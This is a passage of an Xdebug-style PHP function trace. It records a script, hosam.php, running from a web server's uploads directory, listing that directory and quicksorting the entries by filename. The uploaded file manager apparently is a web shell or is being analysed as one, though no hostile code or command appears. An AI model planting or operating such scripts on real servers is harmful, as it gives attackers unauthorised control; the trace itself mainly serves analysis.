3		A						/var/www/html/uploads/hosam.php	810	$files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	156	0	0.008026	787856	readdir	0		/var/www/html/uploads/hosam.php	772	1	resource(4) of type (stream)
4	156	1	0.008042	787896
4	156	R			FALSE
3		A						/var/www/html/uploads/hosam.php	772	$filename = FALSE
3	52	1	0.008067	786104
3	52	R			[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
2		A						/var/www/html/uploads/hosam.php	1089	$list = [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
3	157	0	0.008212	786104	array_key_exists	0		/var/www/html/uploads/hosam.php	1091	2	'sort'	[]
3	157	1	0.008226	786168
3	157	R			FALSE
2		A						/var/www/html/uploads/hosam.php	1091	$sort = 'filename'
3	158	0	0.008251	786104	array_key_exists	0		/var/www/html/uploads/hosam.php	1092	2	'reverse'	[]
3	158	1	0.008265	786168
3	158	R			FALSE
2		A						/var/www/html/uploads/hosam.php	1092	$reverse = FALSE
3	159	0	0.008289	786128	sortlist	1		/var/www/html/uploads/hosam.php	1094	3	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]	'filename'	FALSE
4	160	0	0.008359	786128	sizeof	0		/var/www/html/uploads/hosam.php	826	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	160	1	0.008426	786160
4	160	R			6
4	161	0	0.008440	786128	quicksort	1		/var/www/html/uploads/hosam.php	826	4	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]	0	5	'filename'
5	162	0	0.008508	786128	floor	0		/var/www/html/uploads/hosam.php	836	1	2.5
5	162	1	0.008521	786160
5	162	R			2
4		A						/var/www/html/uploads/hosam.php	836	$cmp = 'prepend.php'
4		A						/var/www/html/uploads/hosam.php	838	$l = 0
4		A						/var/www/html/uploads/hosam.php	839	$r = 5
4		A						/var/www/html/uploads/hosam.php	843	$l++
4		A						/var/www/html/uploads/hosam.php	843	$l++
4		A						/var/www/html/uploads/hosam.php	848	$tmp = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/hosam.php	849	$array[2] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/hosam.php	850	$array[5] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4		A						/var/www/html/uploads/hosam.php	852	$l++
4		A						/var/www/html/uploads/hosam.php	853	$r--
4		A						/var/www/html/uploads/hosam.php	843	$l++
4		A						/var/www/html/uploads/hosam.php	843	$l++
5	163	0	0.008700	786128	quicksort	1		/var/www/html/uploads/hosam.php	859	4	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	0	4	'filename'
6	164	0	0.008770	786128	floor	0		/var/www/html/uploads/hosam.php	836	1	2
6	164	1	0.008783	786160
6	164	R			2
5		A						/var/www/html/uploads/hosam.php	836	$cmp = '.htaccess'
5		A						/var/www/html/uploads/hosam.php	838	$l = 0
5		A						/var/www/html/uploads/hosam.php	839	$r = 4
5		A						/var/www/html/uploads/hosam.php	843	$l++
5		A						/var/www/html/uploads/hosam.php	843	$l++
5		A						/var/www/html/uploads/hosam.php	844	$r--
5		A						/var/www/html/uploads/hosam.php	844	$r--
5		A						/var/www/html/uploads/hosam.php	848	$tmp = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/hosam.php	849	$array[2] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/hosam.php	850	$array[2] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
5		A						/var/www/html/uploads/hosam.php	852	$l++
5		A						/var/www/html/uploads/hosam.php	853	$r--
6	165	0	0.008953	786128	quicksort	1		/var/www/html/uploads/hosam.php	859	4	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	0	1	'filename'
7	166	0	0.009023	786128	floor	0		/var/www/html/uploads/hosam.php	836	1	0.5
7	166	1	0.009036	786160
7	166	R			0
6		A						/var/www/html/uploads/hosam.php	836	$cmp = '..'
6		A						/var/www/html/uploads/hosam.php	838	$l = 0
6		A						/var/www/html/uploads/hosam.php	839	$r = 1
6		A						/var/www/html/uploads/hosam.php	848	$tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6		A						/var/www/html/uploads/hosam.php	849	$array[0] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6		A						/var/www/html/uploads/hosam.php	850	$array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6		A						/var/www/html/uploads/hosam.php	852	$l++
6		A						/var/www/html/uploads/hosam.php	853	$r--
7	167	0	0.009170	786128	quicksort	1		/var/www/html/uploads/hosam.php	859	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	0	0	'filename'
7	167	1	0.009241	786128
7	168	0	0.009248	786128	quicksort	1		/var/www/html/uploads/hosam.php	860	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => 